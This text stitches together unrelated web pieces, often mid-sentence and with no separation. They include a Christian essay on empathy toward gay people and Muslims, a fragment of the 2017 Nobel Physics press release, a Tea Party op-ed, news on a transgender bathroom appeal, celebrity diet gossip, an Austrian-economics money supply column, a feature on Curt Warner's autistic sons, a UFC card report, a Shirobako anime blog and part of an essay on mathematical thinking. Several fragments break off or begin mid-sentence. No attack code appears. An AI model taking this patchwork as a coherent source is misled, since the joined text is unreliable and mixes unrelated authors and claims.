Bart and I were no strangers. While he eventually became one of my groomsmen, we met when we both were voted to freshman hall council, him vice president and me president. Even in the most stressful situations, he's a guy who can't lose his cool, and his integrity never falters. Also, I owe my penchant for solid-color fitted dress shirts to him (see any picture of me... ever).
What's so pivotal of this experience isn't how this experience impacted how I saw Bart, but how I saw the LGBT movement at large. My understanding was largely built on awkward exchanges with strangers, marriage law debates, and some absurd notion of "the gay agenda." It wasn't my moral opinion on the issue that was troubling, it was my complete lack of empathy and humanization. And this is of not much surprise if you take into account where I came from.
I grew up outside of a small town north of Portland, Oregon, called Battle Ground. Our idea of religious diversity in the area was the one Catholic church and one Mormon church in the entire northern half of the county. As a young evangelical, I attended Portland Christian High School, where I was given more apologetics than critical thought, and even less empathy. Only years later did I discover the irony of finding how unJesus-like the place was, considering it was named after the guy. Instead of loving as Jesus loved, I carried with me a judgment of those different myself.
I feel this otherism has plagued the Christian community on all sides. To this day, evangelical leaders throw the word "atheist" around like an epithet, nomenclature of shame for the morally void. Whether it's the presumption that morality is only possible with faith, or the mad assertion that God punishes cities of "heathens" with natural disasters, too many voices seem content to pin with prejudice all wrong among the non-religious.
And yet it gets worse still. If "gays have an agenda" and atheists are pissing off God, Muslims are vehemently despised compoundedly so, like a gay Darwin in a kafiya. This has been especially true in the post 9/11 era, as we've seen in the Park51 debate, the Murfreesboro mosque protests, and the Burn the Quran Day.
And yet, throughout all of this, the clear example of Jesus is missing. While diversity may feel "new" in America, the Gospels are littered with examples of how Jesus engaged with people different than Himself. It wasn't just lived out in His actions, but a central component of His teaching. None was more quoted than the Parable of the Good Samaritan.
As a brief recap, this parable told in Luke (10:29-37) talks of a man who is beaten and robbed, and left for dead in the road. A priest, then a Levite (also a religious leader), simply walked around the man and continued on their way. It was a Samaritan, a sect seen as apostates by the Jewish community, who stopped to take care of the man. The two who walked by could have used religious law to justify their inaction, as touching an injured or possibly dead person would be seen as "unclean." But Jesus didn't praise them. Rather, he focused on the one who took care of someone, putting a stranger's need above their own. Jesus finished the parable by saying, "go and do likewise."
Most important to the parable, is that Jesus made the good person a Samaritan, not a Jew or Christian (or one of his followers, since "Christianity" didn't exist yet). But why would Jesus do that? It illuminates a question for us in our own time. Who are the Samaritans of today? Could a Muslim show me how to live more Christ-like? Can I learn how to be a better spouse to my wife from Bart? If the answer isn't a resounding yes, then we really need to check our prejudice. It should bother us how easy it is for Evangelical leaders in the media to dismiss our modern day Samaritans with such disdain.
It's pretty hard to learn from someone if we only see them by their external identity. Bart isn't my gay friend, he's my friend who just happens to be gay. Without this level of humanization, we'll never have a chance to build community with others, learn from them, and be able to be Christ-like examples in their lives or our own.
So here is our dilemma. If we define ourselves through diminishing the humanity of others, not only are we damning Christianity to become a relic of times past, but we've unequivocally failed to follow Christ's example. Rather than a sect defined by opposition, we can become a community embraced as benevolent.Rep. John Shimkus (R-Ill.) suggested Wednesday that one reason Republicans are unhappy with the Affordable Care Act is because men must pay for health care plans that cover maternity services |
.3 billion years for the waves to arrive at the LIGO detector in the USA.
The signal was extremely weak when it reached Earth, but is already promising a revolution in astrophysics. Gravitational waves are an entirely new way of observing the most violent events in space and testing the limits of our knowledge.
LIGO, the Laser Interferometer Gravitational-Wave Observatory, is a collaborative project with over one thousand researchers from more than twenty countries. Together, they have realised a vision that is almost fifty years old. The 2017 Nobel Laureates have, with their enthusiasm and determination, each been invaluable to the success of LIGO. Pioneers Rainer Weiss and Kip S. Thorne, together with Barry C. Barish, the scientist and leader who brought the project to completion, ensured that four decades of effort led to gravitational waves finally being observed.
In the mid-1970s, Rainer Weiss had already analysed possible sources of background noise that would disturb measurements, and had also designed a detector, a laser-based interferometer, which would overcome this noise. Early on, both Kip Thorne and Rainer Weiss were firmly convinced that gravitational waves could be detected and bring about a revolution in our knowledge of the universe.
Gravitational waves spread at the speed of light, filling the universe, as Albert Einstein described in his general theory of relativity. They are always created when a mass accelerates, like when an ice-skater pirouettes or a pair of black holes rotate around each other. Einstein was convinced it would never be possible to measure them. The LIGO project’s achievement was using a pair of gigantic laser interferometers to measure a change thousands of times smaller than an atomic nucleus, as the gravitational wave passed the Earth.
So far all sorts of electromagnetic radiation and particles, such as cosmic rays or neutrinos, have been used to explore the universe. However, gravitational waves are direct testimony to disruptions in spacetime itself. This is something completely new and different, opening up unseen worlds. A wealth of discoveries awaits those who succeed in capturing the waves and interpreting their message.
Read more about this year’s prize
Popular Science Background
Pdf 1.7 MB
Scientific Background
Pdf 2.2 MB
Image – Gravitational waves (pdf 162 kB)
Image – Two black holes (pdf 508 kB)
Image – LIGO (pdf 1.7 MB)
Image – LIGO in the USA (pdf 1.6 MB)
All illustrations: Copyright © Johan Jarnestad/The Royal Swedish Academy of Sciences
Rainer Weiss, born 1932 in Berlin, Germany. Ph.D. 1962 from Massachusetts Institute of Technology, MIT, Cambridge, MA, USA. Professor of Physics, Massachusetts Institute of Technology, MIT, Cambridge, MA, USA.
http://web.mit.edu/physics/people/faculty/weiss_rainer.html B
Barry C. Barish, born 1936 in Omaha, NE, USA. Ph.D. 1962 from University of California, Berkeley, CA, USA. Linde Professor of Physics, California Institute of Technology, Pasadena, CA, USA
https://labcit.ligo.caltech.edu/~BCBAct/ K
Kip S. Thorne, born 1940 in Logan, UT, USA. Ph.D. 1965 from Princeton University, NJ, USA. Feynman Professor of Theoretical Physics, California Institute of Technology, Pasadena, CA, USA
https://www.its.caltech.edu/~kip/index.html/
LIGO/VIRGO COLLABORATION
www.ligo.org
Prize amount: 9 million Swedish krona.
Further information: www.kva.se and http://nobelprize.org
Press contact: Jessica Balksjö Nannini, Press Officer, Phone +46 8 673 95 44, +46 70 673 96 50, jessica.balksjo@kva.se
Experts: Olga Botner, member of the Nobel Committee for Physics, Phone +46 73-390 86 50, olga.botner@physics.uu.se,
Ulf Danielsson, member of the Nobel Committee for Physics, Phone +46 70-314 10 86, ulf.danielsson@physics.uu.se
The Royal Swedish Academy of Sciences, founded in 1739, is an independent organisation whose overall objective is to promote the sciences and strengthen their influence in society. The Academy takes special responsibility for the natural sciences and mathematics, but endeavours to promote the exchange of ideas between various disciplines.
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To cite this section
MLA style: Press release: The Nobel Prize in Physics 2017. NobelPrize.org. Nobel Media AB 2019. Wed. 27 Feb 2019. <https://www.nobelprize.org/prizes/physics/2017/press-release/>So the "summer of recovery" swelters on, with Democrats sun-blistered, pestered by bottle flies, sand in their swimsuits, water in their ears. Jobless claims increase, Republicans lead the generic congressional ballot, and George W. Bush is six points more popular than President Obama in "front-line" Democratic districts that are most vulnerable to a Republican takeover. Still, Democrats hug the hope that Obama is really the liberal Ronald Reagan -- but without wit, humor, an explainable ideology or an effective economic plan. Other than that, the resemblance is uncanny.
Yet the Republican Party suffers its own difficulty -- an untested ideology at the core of its appeal.
In the normal course of events, political movements begin as intellectual arguments, often conducted for years in serious books and journals. To study the Tea Party movement, future scholars will sift through the collected tweets of Sarah Palin. Without a history of clarifying, refining debates, Republicans need to ask three questions of candidates rising on the Tea Party wave:
First, do you believe that Social Security and Medicare are unconstitutional? This seems to be the unguarded view of Colorado Republican U.S. Senate candidate Ken Buck and other Tea Party advocates of "constitutionalism." It reflects a conviction that the federal government has only those powers specifically enumerated in the Constitution -- which doesn't mention retirement insurance or health care.
This view is logically consistent -- as well as historically uninformed, morally irresponsible and politically disastrous. The Constitution, in contrast to the Articles of Confederation, granted broad power to the federal government to impose taxes and spend funds to "provide for... the general welfare" -- at least if Alexander Hamilton and a number of Supreme Court rulings are to be believed. In practice, Social Security abolition would push perhaps 13 million elderly Americans into destitution, blurring the line between conservative idealism and Social Darwinism.
This approach undermines a large conservative achievement. Despite early misgivings about Social Security and the Civil Rights Act, Ronald Reagan moved Republicans past Alf Landon's resistance to the New Deal and Barry Goldwater's opposition to federal civil rights law, focusing instead on economic growth and national strength. A consistent "constitutionalism" would entangle Republicans in an endless, unfolding political gaffe -- opposing, in moments of candor, unemployment insurance, the minimum wage, the federal highway system and the desegregation of lunch counters.
A second question of Tea Party candidates: Do you believe that American identity is undermined by immigration? An internal debate has broken out on this issue among Tea Party favorites. Tom Tancredo, running for Colorado governor, raises the prospect of bombing Mecca, urges the president to return to his Kenyan "homeland" and calls Miami a "Third World country" -- managing to offend people on four continents. Dick Armey of FreedomWorks appropriately criticizes Tancredo's "harsh and uncharitable and mean-spirited attitude on the immigration issue." But the extremes of the movement, during recent debates on birthright citizenship and the Manhattan mosque, seem intent on depicting Hispanics and Muslims as a fifth column.
There is no method more likely to create ethnic resentment and separatism than unfair suspicion. The nativist impulse is the enemy of assimilation. In a nation where minorities now comprise two-fifths of children under 18, Republicans should also understand that tolerating nativism would bring slow political asphyxiation.
Question three: Do you believe that gun rights are relevant to the health-care debate? Nevada Republican U.S. Senate candidate Sharron Angle raised this issue by asserting that, "If this Congress keeps going the way it is, people are really looking toward those Second Amendment remedies." Far from reflecting the spirit of the Founders (who knew how to deal with the Whiskey Rebellion), the implied resort to political violence is an affectation -- more foolish than frightening. But it is toxic for the GOP to be associated with the armed and juvenile.
Most Americans who identify with the Tea Party movement are understandably concerned about the size and reach of government. Their enthusiasm is a clear Republican advantage. But Tea Party populism is just as clearly incompatible with some conservative and Republican beliefs. It is at odds with Abraham Lincoln's inclusive tone and his conviction that government policies could empower individuals. It is inconsistent with religious teaching on government's responsibility to seek the common good and to care for the weak. It does not reflect a Burkean suspicion of radical social change.
The Democratic political nightmare is now obvious and overwhelming. The Republican challenge is different: building a majority on an unstable, slightly cracked foundation.
michaelgerson@washpost.comThe U.S. Department of Justice has asked a federal appeals court to overturn a judge’s ruling that suspended enforcement of the administration’s order allowing transgender students and workers to use the bathroom of their choice.
U.S. District Judge Reed O’Connor, a George W. Bush appointee, blocked enforcement of the order in August.
Lawyers for the administration asked the 5th U.S. Circuit Court of Appeals to throw out O’Connor’s ruling, arguing the courts do not have the power to review the government’s order. They also argue O’Connor’s ruling was too broad, as it applied to the entire country, instead of the states challenging the order.
The administration sent guidance to school districts across the country in May, advising them to allow trans students to use the bathroom consistent with their gender identity.
“A school’s failure to treat students consistent with their gender identity may create or contribute to a hostile environment in violation of Title IX,” the letter said, in reference to the federal law banning gender discrimination in education. (RELATED: With Just Days Left, Obama Admin. Asks SCOTUS To Defend Gun Control)
The agencies argued that the guidelines they issued only reflect their interpretation of Title IX, and are not orders bearing the full force of law. They further contend the guidelines were issued because of ambiguities in Title IX, since the law does not address how a school should accommodate a transgender student. As a consequence, they argued the court must defer to their interpretation of the law, since a court may not overturn an agency’s interpretation so long as it is “reasonable.”
A coalition of a dozen states, led by Texas, accused the agencies of playing a “regulatory shell game” by issuing the guidelines by means of regulatory “dark matter,” a deluge of agency directives, notices, memoranda, guidance documents, and even blog posts that effectively create new policy without congressional legislation or Administrative Procedure Act (APA) protocols.
The states claim that this strategy allows agencies to evade review by the courts and achieve their policy objectives — because the guidance stems from so-called “dark matter,” it technically lacks the force of law and therefore cannot be reviewed by the courts. Nonetheless, districts that do not abide by the guidance are targeted for punishment by the agencies, ensuring district compliance with the new agency “rules.”
BuzzFeed News has the full filing.
A similar matter is currently pending before the Supreme Court.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.This is a list of salaries of heads of state and government per annum, showing heads of state and heads of government where different, mainly in parliamentary systems. Often a leader is both in presidential systems. Some states have semi-presidential systems, where the head of government role is fulfilled by both the listed head of government and the head of state.
Member states and observers of the United Nations, and Hong Kong [ edit ]
GDP means nominal GDP provided by International Monetary Fund.[1] GDP per capita means nominal GDP per capita provided by International Monetary Fund.[2]
Other Nations [ edit ]
The following states control their territory and are recognized by at least one UN member state.
The following states/governments control their territory, but are not recognized by any UN member states.
See also [ edit ]Alberto E. Rodriguez, Getty Images
There are so many types of foods — oats, carrot sticks and toast points account for just a few. But Mariah Carey will only eat two types of food (they are not previously mentioned)!!!
Here are other foods, none of which Mariah Carey will eat: Cinnamon Toast Crunch, French Toast Crunch, bouillon cubes, ice shavings, pie crust, pimento loaves and open-faced hoagies.
No, Mariah Carey only has a taste for two dishes (or perhaps one dish that has two ingredients, do I look like a goddamn chef?) and told E! News her strict diet is to thank for her fit appearance on the forthcoming Mariah’s World, which premieres on E! on December 4.
“It’s really hard. My diet, you would hate it,” she said. “All you eat is Norwegian salmon and capers every day. That’s it.”
That’s it.
“I’m actually serious,” she added, “I try to stick with the proteins. It’s the worst.”
So serious.
The worst!
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Here’s what else you can expect from Mariah’s World besides Norwegian salmon and capers, per a May interview with Live With Kelly: cameras and people!
“In the beginning I was like, ughh, with the cameras — like, it’s too much, get it out of here,” Carey said. “But we were on tour, so it’s a natural environment with a lot of creative people…What I have to freakin’ endure every day with these people.”
See What Mariah + More Artists Looked Like Amid First Albums’ Releases:
Next: Mariah Carey 'Festivates' All Over 'The Ellen Degeneres Show'Our monthly Monetary Watch, an Austrian take on where we are on the monetary inflation front and what’s next…
Headline Monetary Aggregates in November
The U.S. money supply aggregates based on the Austrian definition of the money supply, what Austrians call the True Money Supply or TMS, were mixed in November, with our shorter-term one and three-month rate of change metrics continuing their recent surge while our longer-term twelve-month rate of change metrics showing some moderation. Focusing on TMS2, THE CONTRARIAN TAKE’s preferred money supply measure, we find that it increased at an annualized rate of 15.6% in November, bringing the three-month rate of change to an annualized 15.2%. That’s up from October’s 14.5% rate and 13.3% rate, respectively. In contrast, the twelve-month rate of change metric on TMS2, the measure we watch most closely, went the other way, ending November at a rate of 9.8%, down from October’s 10.5% rate, and marking the end, albeit barley, of 22 consecutive months of double digit increases.
As has been the case throughout 2010, M2, the mainstream’s favorite monetary aggregate, continues to show subdued growth, in November posting a year over year rate of increase of 3.1%, down from October’s 3.2%. As readers of this site are aware, THE CONTRARIAN TAKE posits M2 as a grossly misleading measure of the money supply, meaning the gap between the true and the perceived rate of monetary inflation is a healthy 6.7 percentage points.
True "Austrian" Money Supply (TMS), November 2010
A Return to Double Digit Increases in the Offing?
We must say that we were a bit surprised by that 9.8% twelve-month rate of change print on TMS2. As we argued in last month’s Monetary Watch, we were expecting TMS2's 22-month string of double digit rate of change increases to continue well into 2011. Yes, it fell short by only 2 bps, but double digits it was not. We do think though that a return to double digit rate of change increases are in the cards, for three reasons…
First, the recent surge in TMS2 - up an annualized 10% the past six months and 15.2% the past three - should be supportive of higher twelve-month rate of change increases over the coming months.
Second, the full impact of the Federal Reserve’s QE II asset purchase program was not felt in the money supply aggregates. Coming as it did mid-month, plus what appears to be a larger than projected draw-down in the Federal Reserve's Agency portfolio, QE II yielded an annualized impact of just $600 billion in November instead of the projected $900 billion.
Third, and most important, private banking institutions are not only continuing to print money, but appear to be doing so at an accelerating rate. In fact, Uncovered Money Substitutes, i.e., bank deposit liabilities not covered by bank reserves, the issuance of which is the result of the banking systems’ efforts to lever up its loans and investments on top of what is currently a mountain of excess reserves, is growing at a year over year rate of 19.9%, a post credit crisis high.
Here’s the 10 year record of TMS2 by inflation source, depicting the trend in Bank-Issued Uncovered Money Substitutes vs. Federal-Reserve-Issued Base Money:
And here’s the 10 year record in excess reserves:
If these trends continue, it seems to us that the money creation activities of private banking institutions could become the most important dynamic on the monetary inflation front going forward. What's more, those double digit increases may be just a start.
To that subject we now turn…
A Willing Banking System Can Always Expand the Supply of Money
As we have discussed several times in this space, nothing supercharges a money supply more than a banking system willing to create money by pyramiding loans, investments and deposits on top of its excess reserves. The operative words here are willing banks, for a willing bank can always increase the supply of money.
It’s a common misconception that the banking system needs willing borrowers in order to expand the supply of money. We hear it every day, from one deflationist after another. It’s not true. It’s not willing borrowers we require but willing banks, for while it is true that even a willing bank can not create money by making loans without willing borrowers, it can always create money by buying securities. The fact is even in the depths of a recession a banking system flush with excess reserves is always in a position to pyramid up its deposit liabilities, to create Uncovered Money Substitutes, regardless of the demand for loans. And since the pyramiding up of those reserves is one of the primary ways banks make money, sooner or later, they'll do it, especially in a system where the Federal Reserve stands ready to bail them out of their mistakes.
Guess what banks are doing right now with their excess reserves? That’s right, they are creating money by buying securities.
Here’s the 10-year record in Bank Credit, all Commercial Banks, courtesy of the Federal Reserve Bank of St. Louis:
Now here’s the record in Loans and Leases:
And here’s the record in Investments:
The conclusion? In the midst of all the endless talk about the dearth in loan demand, banks are largely creating money by purchasing securities. And the last time we looked, there is a heck of a lot of securities out there for even risk averse banks to buy, even if that only be U.S. Treasuries and Agencies backed by the U.S. government:
What’s Next on the Monetary Inflation Front
To repeat, nothing supercharges a money supply more than a banking system willing to create money by pyramiding loans, investments and deposits on top of its excess reserves. In other words, if private banks are game, we have the potential for an explosion in the money supply, even if that is affected simply through the purchase of securities.
How much of an explosion you say? Potentially trillions. Here’s why…
There is currently about $970 billion in excess reserves sitting in the banking system. Bank reserve requirements; that is, the amount of cover the Federal Reserve requires private banking institutions to hold against their deposit liabilities, ranges from zero to 10%, depending on the type and size of the deposit. So…
using the most stringent of reserve requirements on bank deposit liabilities; i.e., 10%,
assuming the banking system is willing to lever up its loans, investments and deposits to the full extent of those requirements,
and lastly, assuming banking clients are inclined to keep 100% of their money holdings as bank deposits,
that $970 billion in excess reserves has the potential to fuel a $9.7 trillion addition to the money supply. To put that number in perspective, that would mean a better than twofold increase on our TMS2 metric, from $7.2 trillion to nearly $17 trillion.
But there’s more, a little thing called the Federal Reserve’s $600 billion asset purchase program. You see, we are just one month into this eight-month program, not only meaning that there is some $525 billion in reserve and bank deposit liability creation to go, but if the banking system chooses to lever up those reserves, a potential $5.3 trillion add to the money supply via the issuance of Uncovered Money Substitutes.
All in, if banks fully lever up, we are looking at a potential money supply of roughly $24 trillion on our TMS2 metric, a stunning 3.3 times its current level.
Now, we are not saying a $24 trillion money supply is right around the corner. Far from it. First, banks have to be continually willing to forsake the 25 bps they receive on their excess reserves as well as the cash cushion they provide for higher yielding risk assets. Not a huge obstacle for yield seeking banks, especially if those assets are backed by the U.S government, but an obstacle that could give some banks pause. Second, and more important, if the money supply took that kind of path we suspect it wouldn’t be long before the U.S. Dollar was trashed, making price inflation a national issue and forcing the Federal Reserve to try to save the U.S. Dollar by halting its easy money policies.
No doubt, the Federal Reserve has it in its power to thwart this potential money bomb, right now, by implementing it’s much heralded exit plan; namely, to withdraw those excess reserves from the banking system before the banks lever up. But we suspect that unless Congressman Ron Paul, the new chair of the House Monetary Policy Subcommittee, and his Tea Party compatriots get their way, the Federal Reserve will be loath to implement that exit plan, at a minimum, until core consumer price inflation is a lot higher, the unemployment rate is a lot lower and housing is no longer seen as a threat to the banking system. Whether easy money policies can cure unemployment or reinflate the housing market is on our minds a questionable proposition, but something Chairman Bernanke seems to wanting to do.
Based on the monetary insights of the Austrian school of economics, THE CONTRARIAN TAKE offers up the latest monthly money supply metrics for the U.S., Eurozone and Japan currency blocks.
To see the entire monthly series offering – the latest money supply data for all three currency blocks, with full historical data and chart work, as well as supporting definitions, sources, notes and references – click here on True “Austrian” Money Supply.
For a quick link to money supply definitions, sources, notes and references, click here on True “Austrian” Money Supply Definitions, Sources, Notes and References.
For the logic behind the formulation of Austrian money supply, read Money Supply Metrics, the Austrian Take.Former Seattle Seahawks running back Curt Warner once was regarded for his toughness in coming back from a knee injury, the likes of which many backs of his era failed to recover from.
But it’s clear that his and his wife’s greatest strength has come in raising their children. The parents of autistic twins boys, the Warners’ challenge has been almost unimaginable, as detailed in this gripping, moving feature in the The News Tribune of Tacoma.
Former Seahawks running back Curt Warner and his wife, Ana, tell their story about struggles with autistic twin boys. (AP)
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Think you have it bad? Read about their story. You realize how much of a challenge daily life is, raising two self-destructive children — now each 22 years old — who profiled on the lower end of the spectrum. But then listen to the words of Warner and his wife, Ana, and you realize how they have learned to embrace the challenge of fighting the good fight against an occasionally crippling disorder for their children.
“People ask, ‘How do you do it?’ ” Curt said. “Well, you just do it. You can’t just wait for a miracle, you have to get busy finding a way to live, one day after the other. And at some point you realize that maybe that was the miracle itself.”
The Warners had dropped from the public spotlight the past several years as they tried to find solutions for their problems. But now they’re coming out to tell their story in a book they’ve written, “Waiting for a Miracle,” which is being shopped to publishers. They’re hoping to provide any solace or inspiration for any parents experiencing the same challenges they are in raising autistic children — and in their case, two boys the same age experiencing the same difficulties.
“We’ve got a better sense of peace about it now,” Ana said. “We still worry, but we can talk about it now, and for so long, even that was painful.”
Story continues
“It’s been a jagged road we’ve traveled,” Curt added. “But here we are.”
How jagged? The boys suffered through bouts of sometimes uncontrollable, unforeseen rage. They’d kick holes in walls. Bang their heads against tables. Throw fits in public places, often where Warner — the third-leading rusher in Seahawks history — would be recognized. The boys, Austin and Christian, would punch and bite each other. Nine years ago, Austin found matches and nearly burned the family house down.
This all after Ana had experienced a stillborn baby and three miscarriages. She also had delivered the couple’s first child less than a year before the twins were born. The Warners define toughness, and their story is incredible to hear about.
Naturally, as the twins’ problems, still undiagnosed until they were 5, worsened Curt and Ana blamed themselves. They wondered what they could have done better or differently. They met with teams of doctors and specialists but wondered if they had done enough. They had, and there was only so much they felt they had the power to control in the children’s lives.
Their solution? Provide as much love and support for their kids, no matter the situation, when trouble arose. It was the only method they knew, and it was the tried and true solution they’ve fallen back on all these years.
One time the family took a trip to try some new therapy methods to help the twins, Christian threw a fit in the middle of Denver’s crowded airport and a large crowd gathered as he started screaming and banging his head on the floor. That’s when Curt’s greatest strength emerged in Ana’s eyes.
“Curt got down on the floor, laid right beside Christian, talked to him quietly, trying to reassure him that things would be all right,” he said.
Their story needs to be heard. This book needs to be picked up by a publisher. Autism is the fastest-growing neurological disorder in the country, per the story, with one in every 68 children landing somewhere on the spectrum (and one in 42 among boys). There might not be a cure, per se, but recognizing the signs in autistic children early on can help in terms of therapy and mitigating symptoms.
The Warners bravely are telling their very personal story with the hope it leads to increased awareness and greater funding for autism research — and, one day they hope, leading to a cure. It’s a story you ought to read.
– – – – – – –
Eric Edholm is a writer for Shutdown Corner on Yahoo Sports. Have a tip? Email him at edholm@yahoo-inc.com or follow him on Twitter!Flyweights Dustin Ortiz (11-2) and Justin Scoggins (5-0) may soon make their UFC debuts, but it won’t be against each other at UFC Fight Night 27.
Despite UFC officials on Tuesday announcing the bout would take place at next week’s UFC Fight Night 27 event, MMAjunkie.com (www.mmajunkie.com) has since learned the matchup will not take place on the card.
The bout, which was listed at UFC.com, has since been removed from the UFC Fight Night 27 listing.
UFC officials declined to comment on the two fighters’ status, but additional sources indicated one or both of the fighters could still make a UFC debut in the near future.
Featuring a welterweight rematch between top contenders Carlos Condit and Martin Kampmann, “UFC Fight Night 27: Condit vs. Kampmann 2” takes place Aug. 28 at Indianapolis’ Bankers Life Fieldhouse. The evening’s main card airs on FOX Sports 1 following preliminary bouts that air on FOX Sports 2 and stream on Facebook.
Additional sources close to the event indicated UFC officials are still expected to announce one more fight for the event.
UFC officials are still expected to shuffle the UFC Fight Night 27 lineup by promoting one preliminary bout to the evening’s FOX Sports 1-televised main card. For now, the evening’s lineup includes:
MAIN CARD (FOX Sports 1, 8 p.m. ET)
PRELIMINARY CARD (FOX Sports 2, 6 p.m. ET)
PRELIMINARY CARD (Facebook, 4:30 p.m. ET)
For more on UFC Fight Night 27, stay tuned to the UFC Rumors section of the site.Shirobako ended in the only way it could, and in the way its narrative arc had outlined from the beginning. Shirobako ended on an optimistic note, and I felt betrayed by it.
Since like many of the best pieces of media out there, Shirobako is about life, and since this post, as is the case with most of what people write, will hinge upon my personal experiencing of it, mediated through my own experiences, I will now get to do what bloggers the world over love doing: Write a bit about myself. Also, that sure was a long sentence.
I’m not an old person, but I definitely fall under the heading of “adult”, and am older than what the average anime-watcher in online communities is. I’ve served three years in the military, and between my B.A. and M.A. had the opportunity (and need) to work for several years, full-time. I’m no stranger to insufferable co-workers, implicit threats of physical violence, burdens heaped upon the capable until they buckle, unlistening leaders, and more. More-over, and this is the salient part, I came into workplaces expecting these things, so perhaps I gave them a larger place in my mental landscape than they objectively took up, but perhaps even that is a comfortable lie. I’m a cynical optimist, and this is relevant to my reaction to the show, and to much of anime’s storytelling in this regard.
(This is a Things I Like post, it’s not a review, but more a discussion of the show and of ideas that rose in my mind as a result of watching the show. There will be spoilers for the entire show.)
Most media revolves around transitional periods, when some change comes to the characters it revolves around. Transitional periods would be, for instance, joining highschool, leaving highschool, entering the workforce, or when a zombie invasion turns your life over. Anime seems to focus mostly on the first two, and sometimes sprinkles the last. “Entering highschool” is especially interesting because after a while, the transition is over and the series can relax into a holding pattern, which is how nostalgia is conveyed, and also provides a comfortable and natural “ending point” to the series, which will be yet another transitional period.
The more anime I watched, the more I noticed the lack of anime dealing with transitioning into being an adult, or with life as an actual adult, rather than “foreboding assassin” where one’s age, mental or otherwise, is but a minor detail. Two of the best anime series out there deal with exactly these issues, with the fears, hopes, and failures of the time leading up to becoming a working adult, and those would be Genshiken, and Welcome to the N.H.K. I thought very highly of both shows, so Shirobako, a show that I felt would deal with those same issues, and with the same aura of fear and failure and cynicism to boot? I was overjoyed. Well, as much as a fun-hating cynic such as I can be.
And there we finally get to Shirobako, and why I was only disappointed, for a while, with its ending, rather than its entire run. Shirobako follows Miyamori Aoi, who’s a put-upon but cheerful girl. Cheerful? She’s cheering herself on in the face of having to work with people like Tarou who put in a negative amount of work (they cause everyone around them to have to put in more effort), Hiraoka who seemed to actively try to sabotage her efforts by directing her to people who could not put in the effort as a gentle form of hazing that she who is his junior was given more responsibility, a director who can never meet his deadlines, and it all cascades from there.
Shirobako is a very educational show, in that it tells us a lot about the way in which the anime we watch is produced. It shows us the sort of constant crunch the people who work on the products we consume are under. It’s considerably more educational than that, because it shows us a workplace, a genuine workplace, which many of the ones we’ll work in during our lifetimes will mirror. This sort of “crunch” that anime productions and programmers go under just before shipping may be more extreme, but all workplaces seem to have this constant struggle of crunch, of looming deadlines, of having to work in the face of inhospitable outsiders, indifferent co-workers, and sabotaging circumstances. This is life.
Shirobako is an educational series in other ways as well, didactic even, as it tries to pass on its morals. “Be a good worker” isn’t preached outright, but shows us how people must take on more work when not everyone shares the load. It relies on our intrinsic goodness to pick this up. Miyamori and her friends often feel dejected as they buckle under the insane work load, as they compare their progress to their goals, and find they’re not even in the right workplace, but apparently are “wasting their time”. But the show goes to lengths to show that experience is valuable, even if it is “near” what you went for. The show shows us that even after twenty years creating anime, you can say “screw it” and go and start baking cakes. That we can start anew, even if we wasted time, and that sometimes wasted time isn’t all that wasteful.
But Shirobako, like me, is cynically optimistic. It might seem as an oxymoron, but it is cynicism that serves as a shell to protect that weakest of spirits Pandora released from the cruel world; hope. It is optimism that our cynicism might not be proven true once more. But think of all those lessons that Shirobako teaches us, and think of that “good ending”. Think back to Job’s tale. He was given new riches and children by God, but his suffering was not erased, and his first batch of children remained dead. Likewise, even if things turned out well in the end, then they still came by as a result of pain and suffering that aren’t simply undone because things turned out well. The optimistic side would be to say “All is well that turned out well,” but the more cynical side will remind you that life is not so simple or easy. Is Tarou’s behaviour, or Hiraoka’s, suddenly fine because the adversity was overcome? Did Miyamori’s past tears end up as vindicated, or even required?
But that is still the strongest message Shirobako teaches us, and it is the message that we keep repeating, trite as it was, whenever we see a friend who is struggling, because it is the only one we often have. No, not that everything will be alright, but that we must keep going forward, because quite frankly, there aren’t many other choices. The characters in Shirobako keep striving, against their recalcitrant coworkers, against the uncaring world, against their fears and depressions, and against their own lofty goals. It doesn’t turn out perfect, but it turns out good enough. And that is good enough.
It is important to understand Shirobako, as are most of our “successes”, and as is the phrase “cynically optimistic” itself, bittersweet. In the show’s finale, Miyamori cries, and those aren’t tears of pure joy, but tears of relief at a pressure lifted, until the next one, always the next one. Bittersweet is also how I’d describe the show’s emotional peak, the scene where Zuka, poor Zuka, who had to watch from the side as all her friends got closer to their dreams, or to someone else’s dream, at least, finally got a chance, and Miyamori couldn’t contain herself and cried, and cried hard. This was more than just deserves, this was the joy of a friend’s joy, of a resting point in one’s journey of life, and a good one.
And now, just as Shirobako had done, I will keep on going past the closing point, and present a few more. I resented Shirobako’s ending, which even aside from Zuka’s end that was “too good”, and yet bittersweet, the show delivered many “awesome moments” for us to fistpump the air – from the casting down of “Funny Story”, to dangerous driving’s final demonstration, to Miyamori receiving her well-deserved accolades. There were too many endings, and the show was fully optimistic after I had considered it a true ally to me, in spreading cynicism |
wrestlers? My guess is that estimating size and relative power of math things is connected to our social behavior, to Darwinian selection of the fittest. Animal life is all about being strong enough to get the stuff you need. A large number of species exists in a hierarchical social setting, with each individual learning rapidly whom to defer to, whom to dominate. And Robin Dunbar has shown that the size of your working social group goes up exponentially with your brain size, thus humans must have large cortical areas devoted to deeply understanding the interactions of their large groups -- he estimates that on average each person lives in group of some 150 people whom "you wouldn't feel embarrassed about joining for a drink if you happened to bump into them in a bar". Although I haves not seen any experiments with this focus, I feel there must be cortical areas specialized for learning social structures and the complex web of pair relationships it contains. (Perhaps anterior cingulate cortex?) Given how central this is in our brains and lives, it feels to me that when structuring math objects, especially functions, by size (rate of growth, degree of smoothness, etc.), you would utilize this machinery built in for creating social hierarchy. I don't mean that you personify these math sizes, but only that making a partially ordered graph like structure is a skill you already have because of evolution.
Solving a puzzle is the basic drive for the detective tribe and the goal that gives them the greatest pleasure. In this case, there need not be a beautiful formula that encapsulates the solution. Rather, the proof itself is wonderful and beautiful. (Confession: I personally find quite stupid puzzles like Sudoku rather addictive.) This is surely a central aspect of pre-frontal activity: planning your activities is finding a path in a world satisfying many constraints that leads to some desired goal. Math is, however, a bit different from the world: if you are trying to prove a theorem, you have to be prepared to reverse course and prove its negation. Never put all your money on one result. Perhaps, way out the imaginary axis, the Riemann zeta function does have a zero with real part not equal to 1/2.
